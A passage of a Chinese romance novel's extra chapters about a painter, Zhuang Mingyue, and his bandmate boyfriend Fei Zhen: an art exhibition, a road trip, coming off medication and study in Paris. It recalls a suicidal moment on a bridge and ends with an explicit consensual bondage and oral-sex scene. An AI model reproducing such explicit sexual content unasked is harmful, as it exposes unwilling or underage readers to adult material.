这个念头,他从来没有想过,可以说退学之后,他就没再考虑过上学的问题,别人说他浪费学历也好,不思进取也好,前两年他只考虑怎么让他和窝窝两个人活下来,直到后来费臻帮着他,让他重新燃起了对绘画的热爱。
面对张老师的有心提议,庄明越婉拒了:“张老师,谢谢您。我目前没有这方面打算,但我很愿意参加画展。”
画展的事就这么定了下来,庄明越开始准备画画。
扣除把画晾干送过去的时间,两周也不算短,庄明越画得很慢,每一笔都在回忆,每一笔都在确认。
油画的名字叫《小生命》。
画里的主角,是一只刚被救活的奶兔。
耳朵上剃了毛,插着留置针,小小的一团,缩在一级特护急救的住院病房铁笼里,眼睛半闭着,刚和死神告别,被拉回了这个世界。
这幅画画的是庄明越和窝窝的第一次见面。
那年他刚退学,浑浑噩噩地走在街上,脑子里反复回放被偷走摔碎的电脑。
那是母亲留给他的18岁信托基金买的,价格不高,但里面有他画了两年的漫画。
张老师力排众议,在警察出动之前调取了学院的监控,看到有个陌生校外人士从宿舍把电脑偷走后,爬到一处高楼,从上往下扔了下去,摔个面目全非,又把它捡走处理掉。
几十个分镜,几百张草稿,多少个日夜,都付诸东流。
庄明越一边回想着监控画面和陈子深的狡辩,还有学院领导那些轻飘飘的说辞和漠然的眼神,不知道该往哪里走。
母亲去世后,父亲无缝再婚,很快又有了新的孩子。他一直寄宿在学校,终于在大二时感到一切都非常的乏味没有意义,伴随着内心不算激烈却特别绵长的痛苦,选择了退学。
庄明越走到了一座桥上。
桥不高,下面是寂静的河水。
他忽地在这里站定,心想着,如果就这么跳下去,所有的痛苦和烦恼都会消失了。
就在这时,旁边传来一阵声音。
桥边的宠物医院门没关严,里面的对话清晰可辨。
“花了好两万了,好不容易救活了,现在要安乐?”一个年轻的女声带着哭腔。
另一个声音很沉稳:“目前这只小兔子的情况,想找个靠谱的领养人,难。医院连发了一周的朋友圈,一味的等待已经没有意义。”
“我现在出去找找!李医生你等等!现在别给它注射!你再等等!”
玻璃门被推开,一个年纪和庄明越相仿的姑娘冲了出来,正好对上他的视线。
她愣了一下,像抓住了救命稻草,急匆匆地问:“帅哥,养兔子吗?”
庄明越后来常常想起那一刻。
如果他没有走到那座桥上,如果他没有听到那些对话,如果窝窝的救助人没有冲出来问他,他的人生会是什么样?
他不知道。
但他知道,那一刻,那个郑重的决定拉住了他。
“我养。”他回答。
……
到了画展这天,美院的展厅里人来人往,不光是本院的学生,还有很多慕名而来的观众。
《小生命》前面排了很多人。
穿着高中校服的学生们叽叽喳喳地讨论着,拿着手机拍照。看到庄明越走过来,他们不好意思地减轻了音量,还特意关掉了闪光灯。
“你是画家吗?”一个女生小声问。
庄明越点点头。
女孩露出了佩服的眼神:“真希望我以后也能画得这么好!”
庄明越点头:“谢谢你,祝你越画越好。”
不多时,观众又换了一批,朝庄明越的画聚集过来。
庄明越站在不远处,看着那些人在画前驻足,轻声讨论。
费臻走过来,站在他旁边问:“感觉怎么样?”
庄明越想了一会儿,说:“我以为我会很激动,或者社恐发作,但其实很平静。”
“看来我的担心有点多余。”费臻牵起庄明越的手,和他十指相扣。
庄明越反扣住费臻的手,笑了起来:“也是因为你在这里,不然我还是会紧张。”
费臻许诺:“以后在你人生的重大时刻,我都尽力到你身边陪你一起度过。”
画展进行到一半的时候,展厅门口走进来几个人。
庄明越抬起头,看到陈子深杵着实木烤漆拐杖走进来,旁边跟着他几个狗腿子,有一个特别眼熟,庄明越瞬间认出来,就是这个人扔掉了他的电脑。
陈子深走到《小生命》前面,停了下来。
他看着那幅画和画下面关于窝窝生平的注解,看了很久,久到狗腿子们开始催促,他举起价格不菲的拐杖敲了他们几个的脚,几人发出痛呼。
随后,他转过身,看到了庄明越。
陈子深表情复杂,低声说:“那时候,我没想到你那么脆弱,你生病了为什么不说。”
庄明越按住费臻的肩膀,示意他冷静。
他一人走上前去,告诉陈子深:“无论我是什么样的人,你都不可以干出这种事。”
“我……”
庄明越打断了他的话:“我不管你是想来道歉还是狡辩,我都不会接受。”
“我只是过来看画,张老师通知我,你也有画在这里,她臭骂我一顿,问我知不知道错了。”陈子深回答,“你的画比当年更好了,是我技不如人,但是你电脑那件事,退学是你自己的决定,我没想做到这种程度,所以我不会为你退学的事道歉。”
他像在宽慰自己,又说了一遍:“绝对不会,我只是承认,你画得确实很好,至少比我和赵唐要好得多。”
陈子深说话时,几个人从展厅另一边走了过来。
郭扬和冯泰,两人的家属,还有杜文敬。
“这不是陈公子吗?”郭扬声音不大,但表情惊讶,带着恰到好处的浮夸演技,吸引了周围观众目光,“腿好了?医学奇迹啊!”
陈子深的脸色一变:“我腿一点事也没有,不劳你费心!”
冯泰对陈子深的感官很差,经过庄明越的事更是对陈子深厌恶到极点:“听说你躺了大半年?那可真是活该了。我们巡演的时候还念叨过,不知道姓陈的臭狗屎什么时候能下床,最好躺到半身不遂,可惜天不遂人愿,你还是站着出现在了这里。”
陈子深:“你!”
顾梦推了推平光金丝边眼镜,轻声细语地打断他:“我记得你还上了新闻,失足跌落窨井盖了是吧?明明都做了完备的安全措施,你还会掉进去,施工单位也是倒霉。”
周双叶补刀:“你让人把庄老师电脑偷走销毁的时候,就应该知道,天道好轮回,早晚遭报应!”
跟着过来看画的杜文敬狠狠拧眉:“我都听大家说了,瘪三都没你下作,我要是你早就自己钻进垃圾桶……哦不,你应该再钻一遍井盖。”
费臻走到庄明越身前,对着陈子深说:“虽然你父亲和我家有交情,但你什么也不是,只是个人渣,你爸有你这么个儿子,我都替他难过。你去问问赵唐,他发生了什么,相信你很快就会和他一样,我这人说得出就做得到。”
陈子深的脸色完全青了:“你威胁我?”
“不,是告知。”费臻转头问庄明越,“在我把他按死之前,你想让他给你道歉吗?”
“算了吧,道歉有什么用,也不是真心的。”
庄明越笑了笑,转而对陈子深说,“你的自尊心建立在打压别人和歪门邪道上,你有没有想过抛开这些,你自己又是个什么东西?你这辈子会活成什么样子?如果你和你屁股后面的家伙从来不反省自己做过的事,你们的未来和下场不会好到哪里去。”
费臻握住庄明越的手,点头道:“明越说得对,早晚的事。”
陈子深身后的几
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个狗腿子,一个个低着头,特别是偷电脑的那个,恨不得把自己缩进墙缝里。
陈子深很想骂人,但嘴皮子像被黏住了,死死开不了口。
他盯着二人交握的手,还想嘲讽点什么,但又想到自己之前被女友狠狠甩掉的窘迫,最终什么都没说,带着他的人灰溜溜地走了。
画展结束的这天,《小生命》被人礼貌问价。
买主是个年轻女孩,穿着校服裙,庄明越认出了她,就是在第一天在画前拍照的高中生之一。
“我可以买吗?画上的窝窝和我两个月前在小区垃圾桶捡到的小兔子特别像。”她小声问工作人员,脸有点红,“我很喜欢这幅画,想买去挂在兔子那间房,但是超了一点预算。”
庄明越看着她,想起冲出来问他“养兔子吗”的救助人。
救助人还是学生,花光了积蓄救兔子,听说他愿意养,当场爆哭,说他一定会有好报。
庄明越走上前,对她说:“卖。”
成交价格远低于这幅画现在的市场价,女孩高兴得当即怒发了微博、小红书和朋友圈。
谢谢你庄老师!”她把微博拿给庄明越看,“这里有我和榛子的日常噢,你看!我不是随口说说的!”
“榛子?”
“嗯嗯,它一开始也病了,后来超健康,我们有定期体检的,榛子平均每星期尿外面三次,啃断我一根手机线。”榛子妈说道,半晌反应过来,庄明越是问为什么取这个名字,于是不好意思地说,“噢,取这个名字是因为,其实我也是视角解构乐队和罗谢的粉丝啦,你俩的超话我也在看……祝你们幸福呀!”
庄明越看了榛子萌萌的包子脸、玉足和兔屁照片,和女孩互关了微博。
晚上回到家,庄明越坐在沙发上,刷刷榛子的可爱照片,看看墙上那些小画。
费臻在他旁边坐下。
“舍不得那张画?”
庄明越摇摇头。
“确实花了很多心血,倾注了养窝窝以来的情感,我以为我会舍不得。”他说,“但榛子妈说,她和榛子会每天看着它,我觉得窝窝应该也是愿意的。”
庄明越继续说,“我本来想把那幅画挂在家里,但家里已经有这么多窝窝的小画了。”
他指了指卧室床头对面的墙上。
那里有满墙的实木书柜,上面的开放格里摆放着好几幅小画,是从原来的家里一起带过来的。
有窝窝刚来时的速写,有窝窝晒太阳的草稿,有窝窝趴在垫子上的铅笔稿,还有几副裱框的成品油画和水彩画。每一幅都很小,但倾注了庄明越曾经的热情和喜爱。
“这些就够了。”庄明越说,“那幅画给更需要它的人吧。”
费臻看着他,微微地弯了一下眼。
很快到了庄明越的生日,费臻送了他一幅画。
画里是白色灰鼻子的窝窝,比起庄明越擅长的画风,线条更粗犷,颜色更大胆,带着一种摇滚乐手特有的不拘一格的张扬。
画面上的窝窝趴在绿色绒垫上,一只耳朵软软地垂着,另一只机警地抬起,像是听到了主人的呼唤,嘴里还叼着一根啃了一半的提摩西。
庄明越看了很久,问:“这是你画的?”
费臻点点头,有些不好意思:“毕业以后……其实大二你走了之后,我就没摸过油画,手生了。”
庄明越把画接过来,翻来覆去地看。
“不算手生,你本子里的小画都画得很好。”他说。
费臻愣了一下,耳根有点红:“这还是咱们重新见面以后,你第一次夸我的画。那些都是我随手画的,不作数。”
“随手画也好看。”庄明越打断他,抬起头,看着他的眼睛,“多谢你。”
费臻看着他,笑问:“谢什么?”
庄明越想了一会儿。
“谢谢你送我这幅生日礼物。”他说,“谢谢你一直在我身边。谢谢你,我真的……”
他顿了顿,声音低下去。
“那天我们重新见面,我态度很不好,后来还把你拉黑了。我想着我不能再和任何人扯上关系,我真的坚持不下去了,如果你没有一直向我靠近……谢谢你支持着我,让我活下来。”
费臻收敛了笑容,伸手把庄明越拉进怀里。
“是你自己的功劳,是你支撑自己活下来的,其他任何人都无法抢夺你的功劳,包括我也一样。”
费臻把下巴抵在庄明越头顶,声音闷闷的,“那年我在医院的床上躺着,也不止一次地想着,也许比起被抢救活下来,就这么结束人生反而是件好事。”
庄明越愣住了。
“但是我还是咬咬牙坚持。”费臻说,“因为我想,万一前面有什么真正的好事能让我遇见呢?”
他顿了顿,“后来真的有好事了,乐队爆红,我和哥哥的关系好转,我又重新和你取得了联系。我好喜欢你,没想到你也能喜欢我,这样的几率太低了,我记得以前你有多讨厌我,宿舍过道那么窄,不小心碰到你的胳膊,你都能原地起飞。”
庄明越的眼眶热了:“是啊,我记得,你一碰我我就狂起鸡皮疙瘩,想消毒。”
他把脸埋在费臻肩上,深深地吸了一口气,“我也想不到,现在会这么喜欢你啊。”
晚上,费臻画挂在主卧床头侧面的墙上,在书桌的正上方,庄明越在底下告诉他挂正了没有。
挂好之后,庄明越站在床边,看了很久。
“我以前总会想,如果你是窝窝就好了。”
费臻轻叹:“我也想,我是窝窝就好了,这样我就能告诉你,窝窝没有去世,就站在你家门口,还能舔舔你,惊喜不惊喜。”
庄明越转过头,看着他。
“但还好你不是窝窝。”他说,“你是你,窝窝是窝窝。你们两个都是我身边很重要的存在,都是独立的个体,我不想混淆。”
费臻看着他,笑容很轻,却像是从心底里漾出来的。
“小月亮。”
“怎么了,这么叫我?”
“你说这种话,我又想亲你了。”
庄明越愣了一下,然后笑了。
“那就亲啊,男朋友。”
两个人站在画前,交换了一个晚安吻。
更进一步的事,小兔不宜。
34. 番外7
又到了一年夏天,乐队的日程表空出来一块,费臻问冯泰要租车行的电话,想带庄明越自驾游,出省四处走走。
冯泰听了,连连摇头:“你带人出去用租来的车,我们堂堂一点五线乐队的主唱,说出去也不怕丢人?”
他的本意是坐个高铁乘个飞机,就别开车折腾了,谁知费臻直接说道:“车子型号,你有推荐的吗?”
冯泰:“啊?”
费臻说走就走,带庄明越去看车,从几万的看到几十万的,一直不停地往上加预算。
费臻试驾了好几辆,问庄明越觉得哪个坐着舒服,问得庄明越有点不好意思。
“你买车,问我干什么?”
费臻理所当然地说:“以后要带你出去的。你坐着不舒服怎么行?”
庄明越愣了一下,提议:“那我也要出一半的首付。”
“可以啊,写你名字,我来还车贷,就这么说定了。”
“费臻……”
“不要推辞,否则就买七位数的车,把乐队的存款都花光。”
庄明越怕费臻彻底疯狂一把,只好抿紧了嘴唇,认认真真地挑选起来。
试驾了七八家店的车,最后选中了一款亮黑色SUV,纯电车,空间够大,没什么浮夸的内饰,纯毛坯风,车灯像两个三角眼,看起来很拉风,还有点小邪恶。
最重要的是后备箱能放下费臻的吉他和庄明越的画架,放倒座椅后还能直接睡觉,轻松躺下两个成年人。
车是现车,隔天费臻和庄明越去提车,家在4S店附近的郭扬得知后,遛狗途中跟着凑了个热闹。
他看到费臻接过钥匙,牵着笨笨凑上前问:“你不怕车了?”
费臻瞥他一眼:“就没怕过。”
庄明越在旁边边摸狗头,边听二人说话,插了句话。
“开车恐惧吗?”
“没有。”费臻回答得很自然,“别听过儿瞎说。”
庄明越点点头,但心里大概明白了。
据冯泰说,费臻那场车祸挺严重的,即使后来恢复,之后的日子有很长一段时间不敢乘车,更不要说开车了。
但费臻现在主动提议二人一起自驾游,庄明越觉得不能辜负了这片心意。
庄明越伸出手,从费臻手里拿过钥匙。
“我先开吧,新车摸熟了你再开。”
费臻微微一愣:“你有驾照?什么时候考的?”
“高考完的暑假,驾照和电脑一起拿到的。”庄明越晃了晃钥匙,“以后我当你司机。接送你去排练,接送你去演出。你想去哪儿,我带你去。”
费臻没有推辞,笑着说:“好。”
这趟自驾,二人去了云南,路程很远,但一路上有不少收获,沿途的风光美丽,成片的高山和蓝天让人心胸开阔,这些在城市里都很难感受到。
他们在丽江古城漫步,在洱海喂海鸥,在香格里拉拍照,最后一天,去玉龙雪山成功登顶,二人备了两个氧气瓶都没用完,被乐队众人夸奖身强体壮、天赋异禀。
回来还是庄明越开车,费臻说要交换着开,但被庄明越驳回:“乘客要有乘客的自觉。”
难得庄明越在床上以外的地方这么强势,费臻也不好扫他的兴致。
庄明越开车时沉得住气,也不容易犯困,握方向盘的手很稳,开得更稳,除去凹凸不平的路面,几乎没有颠簸。
回到杭州,庄明越睡了一天,玩累了也开累了,费臻就陪他躺了一整天,不折腾他,纯盖被子睡觉,恢复体力。
从那以后,庄明越多了一个身份——费臻的专属司机。
每天早上送费臻去排练,晚上接他回来。有时候排练结束得晚,庄明越就在车里看看墨水屏电子书,追追小说连载,也会去看看他和费臻的超话cp里又产出了什么新粮。
这天费臻出来的时候,已经快零点了。
庄明越靠在驾驶座上,车窗开着,夜风吹进来,吹乱了他的头发。
费臻拉开副驾驶的门,坐进去,见庄明越的kindle已经收了起来,手撑着脸,头一点一点,正在打瞌睡。
“困了?”
庄明越睁开眼,摇摇头:“还好,午睡过了。”
费臻凑过去,亲了他一下。
庄明越瞬间就不困了,搂住费臻的脖子,把要退开的人捞了回来。
车里很暗,只有远处路灯的光透进车窗,落在两个人身上。
吻越来越深,二人亲得太投入,忘了时间。
直到十几分钟后,车窗被人敲响。
庄明越吓了一跳,手打到方向盘,喇叭响了一声,抬头看到车窗外郭扬笑得快抽过去的脸。
“两位,”他隔着透明的车玻璃喊,“大半夜的,能不能回家再亲?”
庄明越的脸瞬间红透了,把脸埋进方向盘,不想面对这个世界。
费臻很淡定,降下车窗,看着郭扬。
“在自己车里亲违法?管得着吗?”
郭扬笑得直不起腰。
“管不着管不着!你们继续!这个给你们,买三送一,我走了!”
他把一样东西递给费臻,说着真走了。
庄明越才抬起头,问:“给了你什么?”
费臻一言难尽地看着手里的一盒套,葡萄柚味。
……好想用郭扬的贝斯把他拍成平面的。
庄明越顺着他的视线看了一眼,笑出了声。
费臻看着庄明越鲜活的笑脸,想到,这样也好。
他抓起庄明越的手,亲了一口手背,说:“回家吧。”
此时距离庄明越彻底停药已经过了半个月。
半年前,庄明越遵医嘱,按最低药量服用了三个月,每天上午十点一片。
之后的复诊也很快,医生说可以隔天服用,再隔两天,三天……慢慢拉长,直到断药反应彻底消失。
每次电击感来袭之前,费臻都会像有感应一样过来,把庄明越抱在怀里。
电击和眩晕的间隔逐渐变长,头晕目眩的次数越来越少。
经过最后两周的彻底戒断,庄明越重新拿起了画笔。
又是一周,他和费臻买了车,开车出省游玩,就有了先前发生的葡萄柚闹剧。
但日子不总是一帆风顺,庄明越又迎来瓶颈期,画完画,彻底力竭了。
“不太好,可是改不动了。”庄明越看着画,怎么看怎么不对劲,“好失望,我本来以为自己很牛逼,在大部分时候画完感觉还是一坨,这下风暴姐和星辉哥夸我都不顶用了。累了,燃尽了。”
费臻走到他身后,给他按摩肩膀。
“失望是因为你对自己有期待,疲惫是因为你一直在努力。”
“那你写歌累吗?”
“我当然也会累。所以啊,总是会看你。”
“看我做什么?”
“充电。”费臻停下一只手的按揉,掌心抬起庄明越的下巴,把他的脸转向自己这边,浅尝辄止般亲了一口,“这样就不累了。”
“有效果的话,可以多亲。”庄明越松口了。
这天,二人用上了葡萄柚口味。
事后,费臻和庄明越头挨着头。
庄明越感受了一下身体的好转,对着费臻露出一个踏实的笑容:“和之前私自断药不一样,这次身心都很放松,做完了也不觉得累。只是不知道再过多久又得重新吃上。”
“如果真有那么一天,还是要遵医嘱,但你别怕,我一直在。”费臻轻声感慨,“有时候我会想,人真的是一种坚强的生物,再痛苦也还能活活看。”
庄明越想了想,说:“做出相反选择的人,不一定代表着脆弱……不代表不坚强。倒在黎明之前的人,可能只是太痛了,太累了。”
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费臻点了一下头,又轻摇:“我明白你的意思。可是你得留下来,不然我一个人怎么过?我也没有你想得那么坚强,不要惹我哭。”
庄明越侧过头,一口亲在费臻的下巴上:“我知道啦,你抱得好紧。”
断药并不意味着彻底康复,反而代表新的征程又开始了。
这天是窝窝离去的两周年整,晚上庄明越终于点开了微博小号,小兔窝窝专用。
窝窝刚走时,总有人在下面骂他,没有好好给兔子治疗,没有去更好的医院住院,没有在饮食起居上给兔子最合适的……甚至说他没有科学喂养。
但这次不一样,增加了非常多的新留言。
【博主不要想不开呀!!生老病死是每个人和每只兔子都要经历的!!】
【窝窝有你很幸福啊,你不要在意不好的评论,我也养过病兔,就是会很消耗金钱和心力,他们没有经历过,就只会人云亦云,理他们干嘛?】
【想起小学时候养的兔子了,光喂菜叶子,也不知道要给牧草吃。看了这个微博的分享,才知道怎么好好养兔,非常感谢博主的科普。】
【我的猫走了五年,我很想它,我的工位一直放着它的照片。[图片]】
【去年考研上岸,同一个月我家狗子离开了我,如果重来一次,我希望能用我的好运气换它多活一年,哪怕一个月,一周也好。】
【小城市没有给鹦鹉治病的地方,我自己学着给它们喂药,但还是有两只没有活下来,所以后来我搬到了医疗资源更好的大城市,为了我的宝宝们可以更健康更长久地活下去。晒晒鸟宝们[图片]】
【给博主看看我家金丝熊,活了四岁半,超级无敌老寿星![图片]】
除了宽慰和理解,更多的评论分享了自己和病逝毛孩子的故事,小小的评论区成了追忆寄托哀思的电子上香堂。
庄明越翻着评论区,不知不觉沉浸其中,直到费臻叫他。
“断药这么久,还是第一次看到你哭。”费臻抬起手,轻轻摸着庄明越的头发,声音很温柔,“想不想和我说说?”
庄明越沉默了一会儿,回答说:“我只是看到好多评论,这个账号很久没登录了,没想到直到半个小时前还有人在回复。”
“嗯,都说了什么让你印象深刻的?”
庄明越靠到费臻怀里,慢慢地倾诉。
“有个人连续养了三条狗都被偷了,偷狗贼抓到了,狗却没了。”
“还有一个人,养了八年的兔子,养得很健康,但不住一起的家人偷偷进来把兔子扔了。”
“有人的猫活了二十二年,平平静静地在主人怀里离开。”
“有人小时候胡乱养过很多小动物,后来回想起来很后悔,发誓要让现在的宝贝健健康康活到老。”
“有人把兔子埋在自己家院子的桂花树下。她说桂花树从来都只开一点点花,那年却香气扑鼻。评论区说是小兔鬼回来施肥了。”
庄明越的声音越来越低。
“看着看着,我又想起窝窝最后的那天。”
他说不下去了。
费臻把他抱得更紧了一些。
“我知道。”他说,“我都知道。”
“我好希望那时候有人在我身边,让我不用一个人承受这一切。”庄明越把脸埋在他肩上,闷闷地说,“我以前以为只有我一个人会这样。以为只有我一个人,会为兔子难过那么久。”
费臻没说话。
“原来不是。”庄明越说,“原来有这么多人。原来大家都一样。”
“大家都一样。”费臻重复了一遍庄明越的画,低下头在他额头上亲了一下,“可是窝窝是唯一的,其他任何兔子都不是窝窝。就像你,庄明越,你是唯一的小月亮。”
庄明越愣了一下,然后笑了。
“那你也是唯一的费臻,我的挚爱。”
35. 番外8
庄明越收到周一的消息,少见地翻来覆去看了很久。
“怎么了,画遇到了什么问题?”费臻问。
“不是……”庄明越拖长了声音,语调有点兴奋,“我转发给你看看吧,我挺感兴趣的。”
随后费臻收到了周一发给庄明越的中法短期艺术培训合作计划。
项目成熟正规,费用不算高,能满足庄明越想出去看看多吸收点新东西的欲望,但要通过欧标法语考试。
好在庄明越在高考前学过法语,大一时通过了法语四级,现在捡起来不算太难。
费臻又划到最下方,看到了项目日期。
他眉头一挑:“半年?”
“嗯。”庄明越点头,“所以我想问问你,你觉得怎么样?”
费臻伸手,把庄明越拉进怀里。
“不用考虑我,重点是你想不想去?”
“想去,可是会想你。”
“半年挺短的,你先把语言考试过了,我帮你一起准备其他事项。”费臻把下巴抵在庄明越头顶,声音有点闷,“可我见过你废寝忘食画画学习的样子,学起来六亲不认,你到了那边还能记得我吗?还能视频的吧?”
“能,说了会想你就一定会。”
“也能打电话吧?”
“能。”
“能飞过去看你吧?”
庄明越愣了一下,从费臻怀里转过身,反手抱住他。
“你不是说半年挺短吗,机票多贵啊,你飞得还累。”
费臻抱住庄明越的后背:“那你就说让不让我过去看你?”
“当然让。”
“行。”
法语考试成绩出来后不久,庄明越申请项目成功,隔天飞到巴黎,于黄昏时分抵达了戴高乐机场。
庄明越拖着精简版的小行李箱,里面塞满了费臻和他一起准备好的生活用品。
他迈出了机场,满眼是从未见过的世界。
傍晚的天空是低饱和的奶油黄,暗沉又温柔,空气里混着咖啡和法棍的香气。
庄明越低头,拨弄了一下行李箱上的两只罗谢公仔,捏了捏公仔屁股,给费臻发了条消息:【下飞机了,到学校再和你报平安。】
费臻秒回:【好的宝贝,晚点视频见。】
庄明越隔空亲了一下费臻的摇滚兔子微信头像。
巴黎的一切都很新鲜,这里的学校和国内上课模式不同,同学也来自各大洲。
社恐人士庄明越起先很不安,只和一同从周编辑那里结识的中国同学相处交流,但对方非常社牛,硬是带着他和外国同学谈天说地,大聊特聊。
一周后,庄明越已经基本掌握了班里各国同学们全名的母语发音,也能知道怎么用法语和英语展开一些无伤大雅的天气小对话。
但当晚上回到小小的单人宿舍,对着空荡荡的房间,没有人会从背后抱住他,问他今天过得怎么样。
他每天和费臻视频,时间点通常很随机,二人有时差,忙碌的进度也不相同。
大部分情况下是费臻配合庄明越的时间。
费臻从来不抱怨,只是会在视频接通的时候,盯着屏幕看很久,然后说一句:“又瘦了,伙食不好。”
庄明越每次都说没瘦,实在被费臻念叨得不行了,他会说:“是视频美颜过度了变成锥子脸。”
费臻笑:“那你把美颜关了。”
庄明越关掉微信自带的美化功能,凑近镜头,叽里咕噜和费臻分享平平无奇的短期留学日常,费臻笑他说话都带了法语腔。
半个月后的一天晚上,费臻的视频电话打过来的时候,神情莫名复杂。
庄明越以为是乐队或者费臻家里出了什么问题,连忙问:“怎么了?”
费臻低头做了一个深呼吸,抬起头说:“我实在是受不了了,我的阿贝贝它……”
“哪个阿贝贝?窝窝的垫子吗?”
“对。”费臻的声音有点低,“上面你的味道淡得快要闻不到了。”
庄明越看着屏幕里那张脸,看着他眼底那一点点不易察觉的失落,做了一个决定。
周五晚上,庄明越站在自家门口,按响了门铃。
门打开的那一瞬间,他看到费臻的表情从惊讶到惊喜,又变成心疼。
“你……”
庄明越没让他说完,直接扑上去,把他抱住。
费臻被他撞得后退了一步,然后笑着把他搂紧。
“疯了啊你。”
“嗯。”庄明越把脸埋在他肩上,深深地吸了一口气,“想你想疯了。”
晚上,他们抱着窝窝的小垫子,聊了很久。
聊法国的生活,聊乐队的排练,聊在视频里说不完的话。
“费列罗。”
“宝贝,我在。”
“我好想你,有的时候晚上睡到一半我会惊醒,怀疑我们到底有没有遇到过。”
费臻双手捧起庄明越的脸。
“我知道,这就叫患得患失,害怕美梦醒来一无所有。”
“你知道还让我走?”
“因为那是你想做的事。”费臻的声音很轻,“只要是你想做的事,我都尽全力支持。”
庄明越没说话,只是和他交换了一个吻,把人按倒在床。
周末的时间过得飞快,还没贴贴多久,庄明越又要登机了。
费臻送他到机场,在安检口前,忽然拉住他。
“等一下。”
庄明越回头。
费臻从衣服里拿出小垫子,塞进他手里。
“带着。”
庄明越愣了一下:“我就说你今天怎么看起来像长了啤酒肚呢。”
费臻笑出了声,不管四周投来的目光。
“这是你的护身符,我想还是给你带着比较好。”费臻收敛起笑容,摸着庄明越的头发,对他说,“之前每天抱着它睡觉,上面还有点我的味道,等彻底没了,我再飞过去找你。你在巴黎好好的,感觉寂寞了就给我打视频,不要一个人闷在被子里偷偷哭。”
庄明越看着手里的垫子,眼眶一热,怕上面的气味被风吹消散得太快,把它装进了行李箱里。
“走了啊,巧克力。”
“一路顺风,小月亮。”
一个多月后,视角解构的日本东京巡演结束,费臻和三个队友道了别,直接从附近的羽田机场飞去了巴黎。
庄明越去机场接他,看到熟悉的身影出现,还没喊出“我在这里”,眼泪就滚了下来。
明明每天视频,但看到真人的那一刻,还是觉得想得不得了。
费臻走到他面前,低头看他。
“傻了?”
庄明越没说话,只是伸手,把他抱住。
费臻笑着,回抱住他。
“走吧。”他在庄明越耳边说,“带我去看看你在法国的小家。”
整整一周时间,费臻就住在庄明越的宿舍公寓里。
白天庄明越上课,费臻在公寓里写歌,偶尔看看庄明越kindle里存的老文,或者出去随便逛逛。
晚上两个人一起做饭,一起散步,一起窝在床上看电影,好像又回到了在小出租屋挤一张小床的日子。
庄明越问费臻要不要出去和那些法国留学生聚会,费臻摇摇头。
“我过来是陪你的,当然要抓紧时间只和你在一起。”
庄明越点头:“那我这算是金屋藏臻了。”
费臻朝他竖了一下大拇指。
一直在家对腰不好,二人午睡起床后,一起去了附近的Lidl超市,买了一堆打折食物和日常用品。
小灯泡买几个,给灯光昏暗的公寓焕新一下。
梯子买一架,换灯泡更方便。
麻绳也买两条,晾衣服能用。
费臻在巴黎最后一天的下午,庄明越紧急赶着下次课间分享的画。
费臻在旁边的床上坐着,捣鼓他的新手帐本,活页小牛皮,外面有根弹力绳,和本子分离,需要自己捆上去。
“你在干什么呢?”庄明越快画完了,回头看了一眼。
“这是一种新的绳结绑法。”费臻头也不抬,十分认真,“我自己琢磨的,用来绑手帐本挺好看。”
庄明越放下画笔,起身走到床上坐下,下巴搁在费臻的肩膀上,凑过去看。
费臻的手指很灵巧,一根很细的淡粉色弹力绳在他手里翻来绕去,很快绑出一个精致的小结
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,像一朵晚樱。
手机被支架架起来,正对着双手录制视频。费臻花了两分钟剪辑视频,加了配乐和滤镜,点击上传。
“好看。”庄明越说,回想到费臻平时绑头发的利落动作,有时还会换着花样把头发盘起来,“你手好巧。”
“那是,也不看看是谁的男朋友。”费臻正准备收尾,手机忽然震了一下。
费臻随手点开看了一眼,表情变得有点微妙。
是郭扬发来的消息:【你的评论区裤子飞了![截图]】
费臻回复了一个句号。
庄明越凑过去,发现郭扬说的是费臻刚才发的手帐本绳结教学视频,底下有一条评论被点赞顶到了最上面:【捆我身上。】
庄明越:“……”
费臻抬起头,看着他,眼神意味深长。
半晌,费臻看向房间的角落,说:“也不是不行。”
庄明越顺着费臻的视线,看到了前两天从超市买回来的麻绳,警报雷达瞬间响了。
“费列罗你敢!”
费臻挑眉:“就敢了,如何呢,逮捕我?明天我可就走了,你让我玩一下。”
庄明越瞪着他,憋出一句话:“我管你哪天走,你要是捆我,我就……”
“就分手不和我好了?”费臻放下手帐本,垂下头,额头蹭过庄明越的锁骨,偷亲了一口。
庄明越被亲得有点痒也有点懵,和费臻打闹了一阵,才说道:“没那么严重。我是说你敢捆我,我就敢捆回来。”
费臻看着他,眼底的笑意更深了。
“你笑什么?”
费臻站起来,居高临下地看着男朋友,低声说:“你想当我的小手帐本吗?”
庄明越耳根一热,结果就是被捆了。
麻绳缠绕,在各处打出漂亮的红结。
费臻的动作很轻很慢,像是在对待易碎的奢侈品。
庄明越看他认真的样子,感受着绳结摩挲的粗糙质感,心跳快得不行。
“费臻……”
“嘘。”费臻低下头,在他耳边轻声说,“别动。”
庄明越不动了。
费臻的吻落下来,比平时更具侵略性。
庄明越被吻得喘不过气,绳结随着他的挣动轻轻摩挲。
微微的束缚感让一切体验都更加放大。
庄明越感觉自己像落入大魔王窠臼的小动物,挣扎不得,只能任由摆布。
很久之后,费臻才为他解开绳结。
庄明越瘫在床上,大口喘气,脸上带着满足的微红。
费臻低声问:“今天我腰还不错吧?”
庄明越瞪他一眼,但这一眼实在没什么杀伤力。
费臻低头,又亲了他一下。
很轻,很软,像小兔的吻。
他把庄明越抱在怀里,带着十足的安抚意味,任他贴着他的胸膛。
“好宝宝,最爱你。”
庄明越听到费臻的心跳越来越快,猛地拉下他的衣领,翻身把人罩在身下。
费臻微微挑眉:“怎么了,我这么卖力,你还有余力?”
庄明越愤愤磨牙:“都说了,你敢捆,我就敢捆回来,有仇当场报,等死吧你!”
费臻低笑,放松身体,任他为所欲为,时不时指导一下绳子该怎么绕,结该怎么打。
完成时,庄明越俯下身,富有耐心地咬住他的战利品。
一点一点的打磨,染白了附近的绳结。
公寓隔音不好,听到费臻强压下去的声音,庄明越满意地弯了眼。
半晌,费臻睁开眼,低声问:“这东西能喝?”
“不可以吗?”庄明越舔了舔唇角,“还不错啊,你都说了我是AAA品鉴专家。”
费臻叹了一口气,闭上眼,不去看男朋友。
在舞台上能点燃全场的眼睛此时微微阖着,睫毛却颤得厉害。
庄明越爱他这副模样,去浴室含了会儿漱口水,回来亲了亲费臻的脸。
费臻颤了一下,抬手摸庄明越的脸,低声询问:“我明天就要走了,你这就结束了?”
庄明越眼底暗色更沉,再度低头吻住他,心想:今晚要熬大夜了。
36. 番外9
半年的时间,说长不长,说短不短,庄明越在这里的生活渐渐稳定,课程跟上了,朋友也交到了几个,小小的公寓被他布置得越来越有家的样子。
